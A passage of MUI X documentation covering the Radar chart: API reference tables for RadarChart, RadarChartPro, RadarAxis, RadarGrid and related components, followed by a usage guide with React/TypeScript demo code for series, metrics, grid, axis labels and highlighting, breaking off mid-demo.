import type {} from '@mui/x-date-pickers/AdapterDayjs';
```

:::info
Before version 7.19.0, TypeScript would throw the following error if you didn't import the adapter in the same TypeScript project as the rest of your codebase: `DesktopDatePickerProps<Date> error Type 'Date' does not satisfy the constraint 'never'`.
The solution described above should resolve this.
:::

## Using this documentation

### Feature availability

:::info
MUI X is **open core**—Community components are MIT-licensed, while more advanced features require a Pro or Premium commercial license.
See [Licensing](/x/introduction/licensing/) for details.
:::

Throughout the documentation, Pro- and Premium-only features are denoted with the [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan') and [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') icons, respectively.

All documentation for Community components and features also applies to their Pro and Premium counterparts.

### Localization Provider

For practical purposes, each demo in this documentation has its own Localization Provider wrapper.
**You should not reproduce this pattern as-is.**
For almost all use cases, you should wrap your entire app with a single Localization Provider to avoid repeating boilerplate code in multiple places.

### Demo Container and Demo Item

Throughout this documentation, the internal components `<DemoContainer />` and `<DemoItem />` are used in demos to display multiple components with a consistent layout.
**You should never use these components in your application.**
This helps avoid the repeated use of layout components such as `<Box />` or `<Stack />`, which would otherwise add irrelevant clutter to demos meant to illustrate specific features.

---

# Source: https://mui.com/x/api/charts/radar-axis-highlight.md

# RadarAxisHighlight API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Radar](/x/react-charts/radar/)

## Import

```jsx
import { RadarAxisHighlight } from '@mui/x-charts/RadarChart';
// or
import { RadarAxisHighlight } from '@mui/x-charts';
// or
import { RadarAxisHighlight } from '@mui/x-charts-pro';
// or
import { RadarAxisHighlight } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/RadarChart/RadarAxisHighlight/RadarAxisHighlight.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/RadarChart/RadarAxisHighlight/RadarAxisHighlight.tsx)

---

# Source: https://mui.com/x/api/charts/radar-axis.md

# RadarAxis API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Radar](/x/react-charts/radar/)

## Import

```jsx
import { RadarAxis } from '@mui/x-charts/RadarChart';
// or
import { RadarAxis } from '@mui/x-charts';
// or
import { RadarAxis } from '@mui/x-charts-pro';
// or
import { RadarAxis } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| angle | `number` | - | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| divisions | `number` | `1` | No |  |
| dominantBaseline | `'alphabetic' \| 'auto' \| 'central' \| 'hanging' \| 'ideographic' \| 'inherit' \| 'mathematical' \| 'middle' \| 'no-change' \| 'reset-size' \| 'text-after-edge' \| 'text-before-edge' \| 'use-script' \| func` | - | No |  |
| labelOrientation | `'horizontal' \| 'rotated'` | `'horizontal'` | No |  |
| metric | `string` | - | No |  |
| textAnchor | `'end' \| 'inherit' \| 'middle' \| 'start' \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | label | Styles applied to every label element. |
| - | line | Styles applied to the line element. |
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/RadarChart/RadarAxis/RadarAxis.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/RadarChart/RadarAxis/RadarAxis.tsx)

---

# Source: https://mui.com/x/api/charts/radar-chart-pro.md

# RadarChartPro API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Export
- [Charts - Radar](/x/react-charts/radar/)

## Import

```jsx
import { RadarChartPro } from '@mui/x-charts-pro/RadarChartPro';
// or
import { RadarChartPro } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| radar | `{ labelFormatter?: func, labelGap?: number, max?: number, metrics: Array<string> \| Array<{ max?: number, min?: number, name: string }>, startAngle?: number }` | - | Yes |  |
| series | `Array<object>` | - | Yes |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| divisions | `number` | `5` | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'radar' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlight | `'axis' \| 'none' \| 'series'` | `'axis'` | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'radar' }>` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAreaClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, radarItemIdentifier: RadarItemIdentifier) => void` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onMarkClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, radarItemIdentifier: RadarItemIdentifier) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| shape | `'circular' \| 'sharp'` | `'sharp'` | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| stripeColor | `function(index: number) => string` | `(index) => index % 2 === 1 ? (theme.vars || theme).palette.text.secondary : 'none'` | No |  |
| tooltipItem | `{ dataIndex?: number, seriesId: number \| string, type: 'radar' }` | - | No |  |
| width | `number` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| baseButton | `undefined` | - |  |
| baseDivider | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| baseMenuItem | `undefined` | - |  |
| baseMenuList | `undefined` | - |  |
| basePopper | `undefined` | - |  |
| baseTooltip | `undefined` | - |  |
| exportIcon | `ChartsExportIcon` | - | Icon displayed on the toolbar's export button. |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |
| zoomInIcon | `ChartsZoomInIcon` | - | Icon displayed on the toolbar's zoom in button. |
| zoomOutIcon | `ChartsZoomOutIcon` | - | Icon displayed on the toolbar's zoom out button. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/RadarChartPro/RadarChartPro.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/RadarChartPro/RadarChartPro.tsx)

---

# Source: https://mui.com/x/api/charts/radar-chart.md

# RadarChart API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Radar](/x/react-charts/radar/)

## Import

```jsx
import { RadarChart } from '@mui/x-charts/RadarChart';
// or
import { RadarChart } from '@mui/x-charts';
// or
import { RadarChart } from '@mui/x-charts-pro';
// or
import { RadarChart } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| radar | `{ labelFormatter?: func, labelGap?: number, max?: number, metrics: Array<string> \| Array<{ max?: number, min?: number, name: string }>, startAngle?: number }` | - | Yes |  |
| series | `Array<object>` | - | Yes |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| divisions | `number` | `5` | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'radar' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlight | `'axis' \| 'none' \| 'series'` | `'axis'` | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'radar' }>` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAreaClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, radarItemIdentifier: RadarItemIdentifier) => void` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onMarkClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, radarItemIdentifier: RadarItemIdentifier) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| shape | `'circular' \| 'sharp'` | `'sharp'` | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| stripeColor | `function(index: number) => string` | `(index) => index % 2 === 1 ? (theme.vars || theme).palette.text.secondary : 'none'` | No |  |
| tooltipItem | `{ dataIndex?: number, seriesId: number \| string, type: 'radar' }` | - | No |  |
| width | `number` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| baseButton | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/RadarChart/RadarChart.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/RadarChart/RadarChart.tsx)

---

# Source: https://mui.com/x/api/charts/radar-grid.md

# RadarGrid API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Radar](/x/react-charts/radar/)

## Import

```jsx
import { RadarGrid } from '@mui/x-charts/RadarChart';
// or
import { RadarGrid } from '@mui/x-charts';
// or
import { RadarGrid } from '@mui/x-charts-pro';
// or
import { RadarGrid } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| divisions | `number` | `5` | No |  |
| shape | `'circular' \| 'sharp'` | `'sharp'` | No |  |
| stripeColor | `function(index: number) => string` | `(index) => index % 2 === 1 ? (theme.vars || theme).palette.text.secondary : 'none'` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/RadarChart/RadarGrid/RadarGrid.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/RadarChart/RadarGrid/RadarGrid.tsx)

---

# Source: https://mui.com/x/api/charts/radar-metric-labels.md

# RadarMetricLabels API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Radar](/x/react-charts/radar/)

## Import

```jsx
import { RadarMetricLabels } from '@mui/x-charts/RadarChart';
// or
import { RadarMetricLabels } from '@mui/x-charts';
// or
import { RadarMetricLabels } from '@mui/x-charts-pro';
// or
import { RadarMetricLabels } from '@mui/x-charts-premium';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/RadarChart/RadarMetricLabels/RadarMetricLabels.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/RadarChart/RadarMetricLabels/RadarMetricLabels.tsx)

---

# Source: https://mui.com/x/api/charts/radar-series-area.md

# RadarSeriesArea API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Radar](/x/react-charts/radar/)

## Import

```jsx
import { RadarSeriesArea } from '@mui/x-charts/RadarChart';
// or
import { RadarSeriesArea } from '@mui/x-charts';
// or
import { RadarSeriesArea } from '@mui/x-charts-pro';
// or
import { RadarSeriesArea } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| onItemClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, radarItemIdentifier: RadarItemIdentifier) => void` | - | No |  |
| seriesId | `string` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/RadarChart/RadarSeriesPlot/RadarSeriesArea.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/RadarChart/RadarSeriesPlot/RadarSeriesArea.tsx)

---

# Source: https://mui.com/x/api/charts/radar-series-marks.md

# RadarSeriesMarks API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Radar](/x/react-charts/radar/)

## Import

```jsx
import { RadarSeriesMarks } from '@mui/x-charts/RadarChart';
// or
import { RadarSeriesMarks } from '@mui/x-charts';
// or
import { RadarSeriesMarks } from '@mui/x-charts-pro';
// or
import { RadarSeriesMarks } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| onItemClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, radarItemIdentifier: RadarItemIdentifier) => void` | - | No |  |
| seriesId | `string` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/RadarChart/RadarSeriesPlot/RadarSeriesMarks.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/RadarChart/RadarSeriesPlot/RadarSeriesMarks.tsx)

---

# Source: https://mui.com/x/api/charts/radar-series-plot.md

# RadarSeriesPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Radar](/x/react-charts/radar/)

## Import

```jsx
import { RadarSeriesPlot } from '@mui/x-charts/RadarChart';
// or
import { RadarSeriesPlot } from '@mui/x-charts';
// or
import { RadarSeriesPlot } from '@mui/x-charts-pro';
// or
import { RadarSeriesPlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| onAreaClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, radarItemIdentifier: RadarItemIdentifier) => void` | - | No |  |
| onMarkClick | `function(event: React.MouseEvent<SVGPathElement, MouseEvent>, radarItemIdentifier: RadarItemIdentifier) => void` | - | No |  |
| seriesId | `string` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | area | Styles applied to the series area element. |
| - | faded | Styles applied to the series element if it is faded. |
| - | highlighted | Styles applied to the series element if it is highlighted. |
| - | mark | Styles applied to the series mark element. |
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/RadarChart/RadarSeriesPlot/RadarSeriesPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/RadarChart/RadarSeriesPlot/RadarSeriesPlot.tsx)

---

# Source: https://mui.com/x/api/charts/radar-series.md

# RadarSeries API

## Import

```jsx
import { RadarSeries } from '@mui/x-charts-premium'
// or
import { RadarSeries } from '@mui/x-charts-pro'
// or
import { RadarSeries } from '@mui/x-charts'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| data | `number[]` | - | Yes |  |
| type | `'radar'` | - | Yes |  |
| color | `string` | - | No |  |
| colorGetter | `(data: ColorCallbackValue<TValue>) => string` | - | No |  |
| fillArea | `boolean` | - | No |  |
| hideMark | `boolean` | - | No |  |
| highlightScope | `HighlightScope` | - | No |  |
| id | `SeriesId` | - | No |  |
| label | `string \| ((location: 'tooltip' \| 'legend') => string)` | - | No |  |
| labelMarkType | `ChartsLabelMarkType` | - | No |  |
| valueFormatter | `SeriesValueFormatter<TValue>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/react-charts/radar.md

---
title: React Radar chart
productId: x-charts
components: RadarChart, RadarChartPro, RadarGrid, RadarSeriesArea, RadarSeriesMarks, RadarSeriesPlot, RadarMetricLabels, RadarAxisHighlight, RadarAxis, ChartsWrapper, FocusedRadarMark
---

# Charts - Radar

Radar lets you compare multivariate data in a 2D chart.

## Basics

Radar charts series should contain a `data` property containing an array of values.

Radar charts also require a `radar` prop with a `metrics` property containing an array of string or objects.
Each item of this array define a metric of the radar.

```tsx
import { RadarChart } from '@mui/x-charts/RadarChart';

export default function BasicRadar() {
  return (
    <RadarChart
      height={300}
      series={[{ label: 'Lisa', data: [120, 98, 86, 99, 85, 65] }]}
      radar={{
        max: 120,
        metrics: ['Math', 'Chinese', 'English', 'Geography', 'Physics', 'History'],
      }}
    />
  );
}

```

## Multi-series

You can plot multiple series on the same radar chart.

```tsx
import { RadarChart } from '@mui/x-charts/RadarChart';

// Data from https://ourworldindata.org/emissions-by-fuel

function valueFormatter(v: number | null) {
  if (v === null) {
    return 'NaN';
  }
  return `${v.toLocaleString()}t CO2eq/pers`;
}

export default function MultiSeriesRadar() {
  return (
    <RadarChart
      height={300}
      series={[
        { label: 'USA', data: [6.65, 2.76, 5.15, 0.19, 0.07, 0.12], valueFormatter },
        {
          label: 'Australia',
          data: [5.52, 5.5, 3.19, 0.51, 0.15, 0.11],
          valueFormatter,
        },
        {
          label: 'United Kingdom',
          data: [2.26, 0.29, 2.03, 0.05, 0.04, 0.06],
          valueFormatter,
        },
      ]}
      radar={{
        metrics: ['Oil', 'Coal', 'Gas', 'Flaring', 'Other\nindustry', 'Cement'],
      }}
    />
  );
}

```

## Series options

Radar series support `hideMark` and `fillArea` parameter to modify the rendering of the series.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import { RadarChart, RadarSeries } from '@mui/x-charts/RadarChart';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';

export default function DemoRadarVisualisation() {
  const [hideMark, setHideMark] = React.useState(false);
  const [fillArea, setFillArea] = React.useState(false);

  const withOptions = (series: RadarSeries[]) =>
    series.map((item) => ({ ...item, hideMark, fillArea }));

  return (
    <Box sx={{ width: '100%' }}>
      <Stack sx={{ width: '100%', mb: 2 }} direction="row" flexWrap="wrap" gap={2}>
        <FormControlLabel
          checked={!hideMark}
          control={
            <Checkbox onChange={(event) => setHideMark(!event.target.checked)} />
          }
          label="with mark"
          labelPlacement="end"
        />
        <FormControlLabel
          checked={fillArea}
          control={
            <Checkbox onChange={(event) => setFillArea(event.target.checked)} />
          }
          label="fill area"
          labelPlacement="end"
        />
      </Stack>
      <Stack
        sx={{ width: '100%' }}
        direction="row"
        flexWrap="wrap"
        justifyContent="space-around"
      >
        <Box sx={{ width: '100%', maxWidth: 400 }}>
          <RadarChart
            {...commonSettings}
            series={withOptions([lisaGrades, bartGrades])}
          />
        </Box>
      </Stack>
    </Box>
  );
}

const commonSettings = {
  height: 300,
  radar: {
    max: 120,
    metrics: ['Math', 'Chinese', 'English', 'Geography', 'Physics', 'History'],
  },
};
const lisaGrades = {
  label: 'Lisa',
  data: [120, 98, 86, 99, 85, 65],
  hideMark: false,
} satisfies RadarSeries;
const bartGrades = {
  label: 'Bart',
  data: [25, 34, 51, 16, 90, 20],
  hideMark: false,
} satisfies RadarSeries;

```

## Metrics

The `metrics` property of `radar` takes an array with one item per corner of the radar.
This item can either be:

- A string used as the axis label. The other properties are populated from the data.
- An object with the following properties:
  - `name`: The label associated to the axis.
  - `min`: The minimum value along this direction (by default 0).
  - `max`: The maximum value along this direction (by default the maximum value along this direction).

```tsx
import { RadarChart } from '@mui/x-charts/RadarChart';

export default function RadarAxis() {
  return (
    <RadarChart
      height={300}
      series={[{ label: 'Lisa', data: [120, 98, 86, 99, 85, 65] }]}
      radar={{
        metrics: [
          { name: 'Math', max: 120 },
          { name: 'Chinese', max: 120 },
          { name: 'English', max: 120 },
          { name: 'Geography', max: 120 },
          { name: 'Physics', max: 120 },
          { name: 'History', max: 120 },
        ],
      }}
    />
  );
}

```

## Grid

The radar chart displays a grid behind the series that can be configured with:

- `startAngle` The rotation angle of the entire chart in degrees.
- `divisions` The number of divisions of the grid.
- `shape` The grid shape that can be `circular` or `sharp`.
- `stripeColor` The callback that defines stripe colors. Set it to `null` to remove stripes.

```tsx
import Box from '@mui/material/Box';
import { useTheme } from '@mui/material/styles';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { RadarChart } from '@mui/x-charts/RadarChart';

export default function DemoRadar() {
  const theme = useTheme();

  const stripeColorFunction = {
    default: undefined,
    'two-tones':
      theme.palette.mode === 'dark'
        ? (index: number) =>
            index % 2 === 0
              ? (theme.vars || theme).palette.primary.dark
              : (theme.vars || theme).palette.grey[300]
        : (index: number) =>
            index % 2 === 0
              ? (theme.vars || theme).palette.primary.light
              : (theme.vars || theme).palette.grey[800],
    null: null,
  };
  const stripeColorLines = {
    default: [],
    'two-tones':
      theme.palette.mode === 'dark'
        ? [
            `  stripeColor={(index:number) => index % 2 === 0 ? theme.palette.primary.dark : theme.palette.grey[300]}`,
          ]
        : [
            `  stripeColor={(index:number) => index % 2 === 0 ? theme.palette.primary.light : theme.palette.grey[800]}`,
          ],
    null: [`  stripeColor={null}`],
  };

  return (
    <ChartsUsageDemo
      componentName="RadarChart"
      data={{
        startAngle: {
          knob: 'number',
          defaultValue: 30,
          min: -180,
          max: 180,
        },
        divisions: {
          knob: 'number',
          defaultValue: 10,
          min: 0,
          max: 20,
        },
        shape: {
          knob: 'radio',
          options: ['sharp', 'circular'] as const,
          defaultValue: 'circular',
        },
        stripe: {
          knob: 'select',
          options: ['default', 'two-tones', 'null'] as const,
          defaultValue: 'default',
        },
      }}
      renderDemo={(props) => (
        <Box sx={{ width: '100%', maxWidth: 400 }}>
          <RadarChart
            height={250}
            margin={{ top: 20 }}
            series={[{ data: [120, 98, 86, 99, 85, 65] }]}
            divisions={props.divisions}
            stripeColor={stripeColorFunction[props.stripe]}
            shape={props.shape}
            radar={{
              max: 120,
              startAngle: props.startAngle,
              metrics: [
                'Math',
                'Chinese',
                'English',
                'Geography',
                'Physics',
                'History',
              ],
            }}
          />
        </Box>
      )}
      getCode={({ props }) =>
        [
          `import { RadarChart } from '@mui/x-charts/RadarChart';`,
          '',
          `<RadarChart`,
          '  {/** ... */}',
          `  shape="${props.shape}"`,
          `  divisions={${props.divisions}}`,
          ...stripeColorLines[props.stripe],
          `  radar={{`,
          `    startAngle: ${props.startAngle},`,
          `    metrics: [...],`,
          '  }}',
          '/>',
        ].join('\n')
      }
    />
  );
}

```

## Axis values

You can add labels to metrics with the `<RadarAxis />`.
This component requires a `metric` prop and can be configured with:

- `angle` The angle used to display labels. By default it's the one associated to the given metric.
- `labelOrientation` The orientation strategy. Either horizontal labels with moving anchor point, or label rotating with the axis.
- `divisions` The number of labels to display.
- `textAnchor`/`dominantBaseline` The label placement. Can either be a string, or a function with the `angle` value (in degree) as an argument.

```tsx
import Box from '@mui/material/Box';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';
import { RadarChart, RadarAxis } from '@mui/x-charts/RadarChart';

function getTextAnchor(textAnchor: 'default' | 'start' | 'end' | 'function') {
  switch (textAnchor) {
    case 'default':
      return undefined;
    case 'function':
      return (angle: number) => (angle < 180 ? 'start' : 'end');
    default:
      return textAnchor;
  }
}

function getTextAnchorCode(textAnchor: 'default' | 'start' | 'end' | 'function') {
  switch (textAnchor) {
    case 'default':
      return '';
    case 'function':
      return `textAnchor={(angle) => angle < 180 ? 'start' : 'end'}`;
    default:
      return `textAnchor="${textAnchor}"`;
  }
}

export default function DemoRadarAxis() {
  return (
    <ChartsUsageDemo
      componentName="RadarChart"
      data={{
        angle: {
          knob: 'number',
          defaultValue: 30,
          min: -360,
          max: 360,
          step: 10,
        },
        divisions: {
          knob: 'number',
          defaultValue: 4,
          min: 1,
          max: 5,
        },
        labelOrientation: {
          knob: 'radio',
          options: ['horizontal', 'rotated'] as const,
          defaultValue: 'horizontal',
        },
        textAnchor: {
          knob: 'select',
          options: ['default', 'start', 'end', 'function'] as const,
          defaultValue: 'default',
        },
      }}
      renderDemo={(props) => (
        <Box sx={{ width: '100%', maxWidth: 400 }}>
          <RadarChart
            height={250}
            margin={{ top: 20 }}
            series={[{ data: [100, 98, 86, 99, 85, 55] }]}
            divisions={4}
            radar={{
              max: 100,
              metrics: [
                'Math',
                'Chinese',
                'English',
                'Geography',
                'Physics',
                'History',
              ],
            }}
          >
            <RadarAxis
              metric="Math"
              labelOrientation={props.labelOrientation}
              angle={props.angle}
              textAnchor={getTextAnchor(props.textAnchor)}
              divisions={props.divisions}
            />
          </RadarChart>
        </Box>
      )}
      getCode={({ props }) => {
        const textAnchorCode = getTextAnchorCode(props.textAnchor);
        return [
          `import { RadarChart, RadarAxis } from '@mui/x-charts/RadarChart';`,
          '',
          '<RadarChart>',
          `  <RadarAxis`,
          `    metric="Math"`,
          `    divisions={${props.divisions}}`,
          `    labelOrientation="${props.labelOrientation}"`,
          `    angle="${props.angle}"`,
          ...(textAnchorCode ? [`    ${textAnchorCode}`] : []),
          '  />',
          '</RadarChart>',
        ].join('\n');
      }}
    />
  );
}

```

## Highlight

### Axis highlight

By default the radar highlight values of a same axis.
With composition you can add this behavior with the `<RadarAxisHighlight />` component.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import { RadarChart, RadarSeries } from '@mui/x-charts/RadarChart';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';

export default function DemoRadarAxisHighlight() {
  const [hideMark, setHideMark] = React.useState(true);

  const withHideMark = (series: RadarSeries[]) =>
    series.map((item) => ({ ...item, hideMark }));

  return (
    <Box sx={{ width: '100%' }}>
      <Stack sx={{ width: '100%', mb: 2 }} direction="row" flexWrap="wrap" gap={2}>
        <FormControlLabel
          checked={!hideMark}
          control={
            <Checkbox onChange={(event) => setHideMark(!event.target.checked)} />
          }
          label="with mark"
          labelPlacement="end"
        />
      </Stack>
      <Stack
        sx={{ width: '100%' }}
        direction="row"
        flexWrap="wrap"
        justifyContent="space-around"
      >
        <Box sx={{ width: '100%', maxWidth: 400 }}>
          <RadarChart
            {...commonSettings}
            series={withHideMark([lisaGrades, bartGrades])}
          />
        </Box>
      </Stack>
    </Box>
  );
}

const commonSettings = {
  height: 300,
  radar: {
    max: 120,
    metrics: ['Math', 'Chinese', 'English', 'Geography', 'Physics', 'History'],
  },
};
const lisaGrades = {
  label: 'Lisa',
  data: [120, 98, 86, 99, 85, 65],
  hideMark: false,
} satisfies RadarSeries;
const bartGrades = {
  label: 'Bart',
  data: [25, 34, 51, 16, 90, 20],
  hideMark: false,
} satisfies RadarSeries;

```

### Series highlight

To set the highlight on series, use the `highlight` prop with `'series'` value.
This highlight can be controlled with `highlightedItem` value and `onHighlightChange` callback.

With composition you can pass those props to the `RadarDataProvider`.

This demo shows a controlled highlight.
Notice the impact of the series order in the highlight interaction.
The UK series is the last item of the `series` prop.
Such that its area renders on top of the others.
Otherwise, the other area would catch the pointer event, making it impossible to highlight it.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import ToggleButton from '@mui/material/ToggleButton';
import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';
import { RadarChart, RadarSeries } from '@mui/x-charts/RadarChart';
import { HighlightItemData } from '@mui/x-charts/context';
import Box from '@mui/material/Box';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';

function valueFormatter(v: number | null) {
  if (v === null) {
    return 'NaN';
  }
  return `${v.toLocaleString()}t CO2eq/pers`;
}

export default function DemoRadarSeriesHighlight() {
  const [highlightedItem, setHighlightedItem] =
    React.useState<HighlightItemData | null>(null);
  const [fillArea, setFillArea] = React.useState(false);

  const withOptions = (series: RadarSeries[]) =>
    series.map((item) => ({
      ...item,
      fillArea,
      type: 'radar' as const,
    }));

  const handleHighLightedSeries = (event: any, newHighLightedSeries: string) => {
    if (newHighLightedSeries !== null) {
      setHighlightedItem((prev) => ({
        ...prev,
        seriesId: newHighLightedSeries,
      }));
    }
  };
  return (
    <Stack sx={{ width: '100%' }} spacing={2} alignItems={'center'}>
      <ToggleButtonGroup
        value={highlightedItem?.seriesId ?? null}
        exclusive
        onChange={handleHighLightedSeries}
        aria-label="highlighted series"
        fullWidth
        size="small"
      >
        {series.map((item) => (
          <ToggleButton
            key={item.id}
            value={item.id}
